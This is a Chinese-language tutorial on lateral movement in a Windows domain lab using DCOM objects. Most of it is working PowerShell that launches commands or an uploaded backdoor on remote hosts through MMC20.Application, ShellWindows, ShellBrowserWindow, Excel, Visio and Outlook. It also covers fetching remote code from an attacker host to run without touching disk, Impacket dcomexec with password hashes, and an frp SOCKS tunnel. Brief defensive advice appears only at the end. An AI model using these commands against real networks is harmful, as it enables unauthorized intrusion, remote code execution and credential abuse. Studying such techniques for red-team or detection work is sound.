使用DCOM进行横向移动
COM对象
❝COM即组件对象模型(Component Object Model,COM) ,是基于Windows平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。
❞
❝
一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为"在对象上实现的一组语义上相关的功能",其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
❞
DCOM在远程系统的使用
❝DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求
❞
❝
COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法
❞
❝
使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindowCOM对象,那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行
❞
COM对象与DCOM对象的区别
COM是在客户端计算机的本地级别执行的,而DCOM(分布式组件对象模型)是在服务器端运行,我们可以将指令传递给DCOM对象,并使其通过网络执行。
通过本地DCOM执行命令
1、获取DCOM列表
有两个命令,其中一个命令是只支持psh3.0,即windows server 2012以上
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -class Win32_DCOMApplication | select appid,name
另一个命令支持psh2.0
Get-WmiObject -Namespace ROOT\\CIMV2 -Class Win32_DCOMApplication
win7下
win server 2012
我们可以通过查找COM组件,再通过COM组件查找对应的方法,判断方法是否有可以利用的函数
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID(""));
$com |gm
2、使用DCOM执行任意命令
出现这样的情况就是,没有管理员权限
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
此命令是获取一个COM对象的实例,如果获取成功,可以使用命令查看用法
$com.Document.ActiveView | Get-Member
可以看到一条命令执行的
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
如果成功执行,则会打开计算器(calc.exe),如果将程序换成其他恶意的payload则可以造成攻击
win7:
win10:
除了MMC20.Application,还有ShellWindows、ShellBrowserWindow、Excel.Application以及Outlook.Application等等都可以为我们所利用。
我们通过MMC20.Application的ExecuteShellCommand方法在本地运行了一个"计算器"程序。如果我们提供一个远程主机的IP,便可以使用
[activator]::CreateInstance([type]::GetTypeFromProgID(ProgID,IP))
[Activator]::CreateInstance([Type]::GetTypeFromCLSID(CLSID,IP))
命令通过Powershell与远程DCOM进行交互,只需要提供DCOM的ProgID和对方的IP地址,就会向对方提供该DCOM对象的实例,然后就可以利用这个DCOM应用程序和ExecuteShellCommand方法来在对方目标主机上执行命令了。如果攻击者把"计算器"程序换成恶意的payload,就会对系统安全造成威胁。
使用DCOM横向移动
「前提:」
- 需要关闭系统防火墙
- 必须拥有域管理员权限
显示这个说明没有关闭防火墙
显示这个说明权限不够
「测试环境:」
攻击机
kali:192.168.200.4
域内环境
win7:10.10.10.17、192.168.200.22
windows server:10.10.10.12
1、控制win7
假设控制win7作为跳板机,将shell反弹到msf
加载powershell拓展,以便使用powershell命令
2、通过ipc$链接远程主机
如果想要通过IPC上传文件到目标机器,那么这里就需要与管理员权限的用户建立连接
net use \\10.10.10.12 "Gh0st1nTheShell" /user:g1ts.com\testuser
3、上传后门到目标主机
使用copy命令
copy [file path] [target path]
4、执行命令
(1)调用MMC20.Application远程执行命令
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.12"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\hhh.exe","Minimized")
可以看到成功返回了一个新的shell
(2)调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.12")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe", "/c c:\hhh.exe","c:\windows\system32",$null, 0)
第二个命令同样可以
以上这两种方法均适用于Windows 7~Windows 10、Windows Server 2008~Windows Server 2016的系统。
并且无论是否事先建立ipc连接都可以成功执行命令,也就不需要对方主机的凭据,只只需要当前主机的管理员权限即可。
调用Excel.Application远程执行命令
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","10.10.10.12"))
$com.DisplayAlerts = $false
# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程:
$com.DDEInitiate("cmd.exe","/c C:\hhh.exe")
但是我运行失败
调用ShellWindow远程执行命令
这种方法由现有的explorer.exe进程托管,ShellWindow COM对象使用Document.Application属性。通过递归COM对象方法可以发现,我们可以对Document.Application.Parent属性返回的对象调用ShellExecute方法。
$hb = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.1"))
$item = $hb.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
调用ShellBrowserWindow远程执行命令
适用于Windows 10和Windows Server 2012 R2等版本的系统
# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","10.10.10.12"))
# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.Document.Application.shellExecute("C:\hhh.exe")
成功上线
调用Visio.Application远程执行命令
适用条件:目标主机中安装有Visio
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例:
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application",“10.10.10.12"))
# 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
$com.[0].Document.Application.shellExecute("c:\hhh.exe")
调用Outlook.Application远程执行命令
适用条件:目标主机中安装有Outlook。
通过Outlook创建Shell.Application对象来实现命令行执行
# 通过PowerShell与DCOM进行远程交互,创建Visio.Application对象的实例:
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","10.10.10.12"))
# 然后执行如下命令,通过Outlook创建Shell.Application对象并执行命令:
$com.createObject("Shell.Application").shellExecute("C:\hhh.exe")
调用internetexplorer.Application远程执行命令
这是由homjxi0e发现的一种技术,我们可以使用navigate方法在远程计算机上打开Internet Explorer浏览器,并利用这种方式通过浏览器获取命令执行。
$Object_COM = [Activator]::CreateInstance([type]::GetTypeFromProgID("InternetExplorer.Application","192.168.126.134"))
$Object_COM.Visible = $true
$Object_COM.Navigate("http://192.168.100.1/exploit")
计划任务
CLSID {0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
该COM对象实现了用于操作Windows任务计划服务的Schedule.Service类。该COM对象允许特权用户在主机(包括远程主机)上调度任务,而无需在命令中使用schtasks.exe二进制文件或schtasks.exe。
$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create(0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $Task.Actions.Create(0)
$Action.Path = “cmd.exe”
$Action.Arguments = “/c whoami”
$Action.HideAppWindow = $True
$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)
function Convert-Date {
param(
[datetime]$Date
)
PROCESS {
$Date.Touniversaltime().tostring("u") -replace " ","T"
}
}
Impacket -- dcomexec.py
首先先创建socks5代理,使用frp
frpc和frps内容如下,其中,frps地址为192.168.200.4
frps:
[common]
bind_port = 7000
frpc:
[common]
server_addr = 192.168.200.4
server_port = 7000
[plugin_socks5]
type = tcp
remote_port = 6000
plugin = socks5
然后配置proxychains,先在/etc/proxychains4.conf中最后面配置代理
然后在执行命令前输proxychains
python3 ./dcomexec.py [domain/]username:password@ip //创建一个交互式shell
python3 ./dcomexec.py [domain/]username:password@ip command //执行命令
如果没有明文密码,也可以用哈希代替
python3 ./dcomexec.py [domain/]username:@ip -hashes [hash]
注意
1、输入的用户信息是根据当前已登录的用户,比如我现在登录的是administrator,如果我输入的用户信息是testuser,那么即使通过验证也无法执行命令或者返回shell
2、登陆的用户需要是管理员权限,如果是普通域用户,登陆没有权限,被拒绝
使用COM组件进行任意命令执行
参考文章:https://www.anquanke.com/post/id/215960#h3-6
prchauto.dll任意命令执行
Fireeye的研究人员Charles Hamilton发现prchauto.dll(位于C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll)具有一个名为ProcessChain的类,该类公开了CommandLine属性,以及一个Start方法。
CLSID {E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}:
Start接受对布尔值的引用。可以使用如下方式启动命令:
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)
执行{E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E}:
Msxml2.XMLHTTP.3.0文件下载
该对象公开了XML HTTP 3.0功能,可以用于下载并执行任意代码,而无需将Payload写入磁盘中,也不会触发寻找常用System.Net.WebClient的规则。XML HTTP 3.0对象通常用于执行AJAX请求。在这种情况下,可以使用Invoke-Expression cmdlet(IEX)直接执行提取的数据,这可以导致无文件下载和执行
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));
$com.Open("GET", "http://10.10.10.8/index.html", $False);
$com.Send();
$com.responseText;
ShellWindows任意命令执行
CLSID {9BA05972-F6A8-11CF-A442-00A0C90A8F39}
这种方法由现有的explorer.exe进程托管,ShellWindow COM对象使用Document.Application属性。通过递归COM对象方法可以发现,我们可以对Document.Application.Parent属性返回的对象调用ShellExecute方法。
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"));
$item = $com.Item();
$item.Document.Application | gm -Type Method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"));
$item = $com.Item();
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
更多方法
攻防技术:如何滥用COM & DCOM对象如何利用导出函数和暴露的DCOM接口来实现横向渗透 - 安全客
不一定需要有命令执行才可以横向移动,有一些方法依然可以达到同样效果,需要发挥攻击者的创造力
防御建议
厂商
1、确保卸载实用软件时,删除遗留的DCOM注册表项;
2、不要在注册表中创建指向并不存在的二进制文件的DCOM程序路径。
网络防御方
1、总的说来,防御方应该认真阅读@enigma0x3以及@PhilipTsukerman在博客中给出的建议,针对性地捕捉相关IOC;
2、想使用这些DCOM方法(通常)需要远程主机的特权访问。请保护具备高级权限的域账户,避免本地主机账户复用密码凭据;
3、请确保部署了深度防御控制策略、基于主机的安全产品并监控主机,以检测/阻止可以活动。启用基于主机的防火墙可以阻止RPC/DCOM交互及实例化操作;
4、监控文件系统(以及注册表),关注新引入的元素以及改动;
5、监控环境中可疑的PowerShell操作。如有可能,请强制启用PowerShell的"Constrained Language Mode(约束语言模式)"(这对特权账户来说可能有点难);
6、在DCOM调用"失败"时,目标主机上的System日志中会生成ID为10010的事件(Error, DistributedCOM),其中包含CLSID信息。
参考文章:[如何利用DCOM实现横向渗透 - FreeBuf网络安全行业门户]